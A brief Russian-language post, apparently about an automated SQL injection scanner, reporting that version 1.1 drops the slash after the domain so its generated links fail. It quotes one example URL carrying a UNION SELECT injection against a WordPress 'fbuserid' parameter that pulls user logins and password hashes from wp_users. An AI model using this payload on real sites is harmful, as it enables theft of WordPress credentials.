Версия 1.1 с багой - после адреса домена забывает ставить / слеш / из-за чего есстественно не работает.

Все ссылки получаются вида:

_unisona.com&fbuserid=1+and+1=2+union+select+1,2,3 ,4,5,concat(user_login,0x7e,user_pass)a,7,8,9,10,1 1,12+from+wp_users-- are not vulnerable